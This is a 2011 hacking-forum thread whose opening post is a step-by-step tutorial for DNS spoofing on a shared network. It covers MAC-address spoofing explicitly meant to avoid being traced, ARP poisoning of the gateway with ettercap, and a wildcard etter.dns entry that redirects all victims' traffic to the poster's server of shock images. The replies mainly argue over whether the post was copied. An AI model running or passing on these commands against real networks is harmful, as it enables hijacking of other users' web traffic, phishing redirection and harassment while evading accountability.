

Forum:[Hack Forums](#)

Thread: [\[TUT\] DNS Spoofing](#)

droidberg - June 21, 2011, 4:00 am

Ok, so first off, things we are going to need are:

- Backtrack 4 r2 Final
- Some knowledge

Alright, first off i'd like to explain DNS; What is DNS?

DNS is short for "Domain Name System". Cool, what does it do? The DNS resolves domain names to IP addresses, so for example, let's say Facebook's IP is 14.154.65.109. That's pretty difficult to remember for most people, so we use DNS to resolve facebook.com to 14.154.65.109. So what happens when we type a URL into our browser? It first sends a DNS request to a DNS server, which searches it's database for an IP address registered to the URL we typed and returns the IP address which results in a connection to that IP address. Fun right? Not so much as of yet.

I'm going to show you how to exploit DNS by acting as the DNS server! What does this mean? It means when some one on the network under attack types, for example, <http://www.google.com> into their URL bar in their browser and requests the DNS for that domain name, that request gets intercepted by us and we return with an IP address of our choice, which they connect to. Sound like fun yet? I think so.

So, hopefully i cleared up a few questions and got some understanding out of you. Let's get started, shall we?

Before we do anything fun, it's usually a good thing to use a fake MAC address. This is the hardware ID of your network card and could be traced back to you.

To change your MAC address, first, bring down your card like this:

Code `ifconfig wlan0 down` Then change your MAC like this:

Code `macchanger -r wlan0` And then bring your card back up like this:

Code `ifconfig wlan0 up`

Alright, so the first thing you're going to want to do is, check your gateways IP address. to check this, open a terminal and type `route -n`. This is the IP address of the router itself, for mine it is 192.168.1.254.

Once you've done that, you're going to update ettercap's configuration file with the IP you want to redirect traffic to by entering this command into the terminal:

I'm redirecting to a xampp server hosting images of Goatse of which i also have connected to the network.

Code `sudo echo "* A 192.168.1.65" >> /usr/share/ettercap/etter.dns`(I'm redirecting to a xampp server hosting images of Goatse of which i also have connected to the network.)

NOTE: That asterisk(*) means All Traffic and the A means redirected to.

So, if you really wanted, you could change the asterisk to any website you want, for example, any traffic for <http://www.facebook.com> could be redirected to 192.168.1.65.

When you're done updating ettercap's DNS configuration file, we can run ettercap. Do so like this:

Code ettercap -T -q -i wlan0 -M arp:remote /192.168.1.254/ // -P dns_spoof NOTE: my wireless card is wlan0, yours may not be, in order to find out what your card is labeled, run ifconfig in a terminal!

So, if all is done correctly, you should now be able to see all of the websites being redirected to the destination specified by you!

When you feel you want to stop the attack, simply press "q".

I will not be held responsible for any trouble you may get yourself into while doing this.

rayven18 - June 21, 2011, 4:23 am

Well explained tutorial right there. I think i gonna need that in the future!

zerocool - June 21, 2011, 4:25 am

many thanks great post an so well explained ..

xZ3lLx - June 21, 2011, 4:46 am

copy and pasted

whoops must have forgot to say soothing

droidberg - June 21, 2011, 5:08 am

No, this is not copy & pasted, this is typed out in full, by me.

xZ3lLx - June 21, 2011, 5:15 am

oh sorry....

<http://www.youtube.com/watch?v=Aak6-B3JORE>
<http://www.youtube.com/watch?v=JtMA5L8fxRE>
<http://www.youtube.com/watch?v=RXDCJuavSH0>
<http://www.youtube.com/watch?v=0hfYbQ90rZY>
<http://www.youtube.com/watch?v=5llt7bv-FO0>
<http://www.youtube.com/watch?v=w4aI5sUKsZ4>
<http://www.youtube.com/watch?v=JbDOa5lgbFg>
<http://www.youtube.com/watch?v=uuMdnzks-5I>
http://www.youtube.com/watch?v=90zk8Z_JkWk
http://www.youtube.com/watch?v=90zk8Z_JkWk
http://www.youtube.com/watch?v=iCNgt_4WqoE
http://www.youtube.com/watch?v=hZl3_jkXd4M
<http://www.youtube.com/watch?v=vS9v0poMr3s>
<http://www.youtube.com/watch?v=AM5Rfz0gN-Q>
http://www.youtube.com/watch?v=_e87sFrl7Hg

<http://www.backtrack-linux.org/forums/backtrack-5-beginners-section/42020-metasploit-browser-dns-spoof-help.html?highlight=dns+spoof>

<http://www.backtrack-linux.org/forums/beginners-forum/39550-dns-spoof.html?highlight=dns+spoof>

<http://www.backtrack-linux.org/forums/backtrack-howtos/1057-ettercap-arp-poisoning.html?highlight=dns+spoof>

<https://hackforums.net/showthread.php?tid=353520&highlight=dns+spoof>
<https://hackforums.net/showthread.php?tid=99597&highlight=dns+spoof>

<https://hackforums.net/showthread.php?tid=914309&highlight=dns+spooof>
<https://hackforums.net/showthread.php?tid=1181105&highlight=dns+spooof>
<https://hackforums.net/showthread.php?tid=1245817&highlight=dns+spooof>
<https://hackforums.net/showthread.php?tid=951472>

http://%3A%2F%2Fwww.nextgenupdate.com%2Fforums%2Fcall-duty-4-exploits-hacks%2F45943-how-do-u-dns-spoof-cod4-hack-1-3-a.html&rct=j&q=hack%20forums%20dns%20spooof&ei=o4oATvnnEseltwenyYWgDg&usg=AFQjCNE7xvz6X_s1Swb7YPVgHArTJaXdNQ&cad=rja

<http://www.nextgenupdate.com/forums/call-duty-4-exploits-hacks/45943-how-do-u-dns-spoof-cod4-hack-1-3-a.html>

droidberg - June 21, 2011, 5:51 am

Wow, you really went out of your way for all that.

xZ3lLx - June 21, 2011, 6:07 am

as much as you did to "write" this tutorial

droidberg - June 21, 2011, 6:41 am

I just noticed, after clicking through all of your links, that excluding the youtube videos none of them but two are even relevant to this as they are all requests on how to do it!

I hereby declare you a troll!

rayven18 - June 21, 2011, 2:28 pm

@xZ3lLx This tutorial has been created by thousands of people. Well, can you find the original OP? (NO) So just stop flamming this threads OP :) Thanks for it mate again

xZ3lLx - June 21, 2011, 6:25 pm

(Jun 21, 2011 02:28 PM)rayven18 Wrote: [\[CITE\]](#) @xZ3lLx This tutorial has been created by thousands of people. Well, can you find the original OP? (NO) So just stop flamming this threads OP :) Thanks for it mate again

exactly it was written by "thousands of people" so I didn't realize looking at one and typing the same thing and adding the following

"I will not be held responsible for any trouble you may get yourself into while doing this. "

If this is the case I could get any book and add a line so therefor i wrote it. (Jun 21, 2011 02:28 PM)rayven18 Wrote: [\[CITE\]](#) @xZ3lLx This tutorial has been created by thousands of people. Well, can you find the original OP? (NO) So just stop flamming this threads OP :) Thanks for it mate again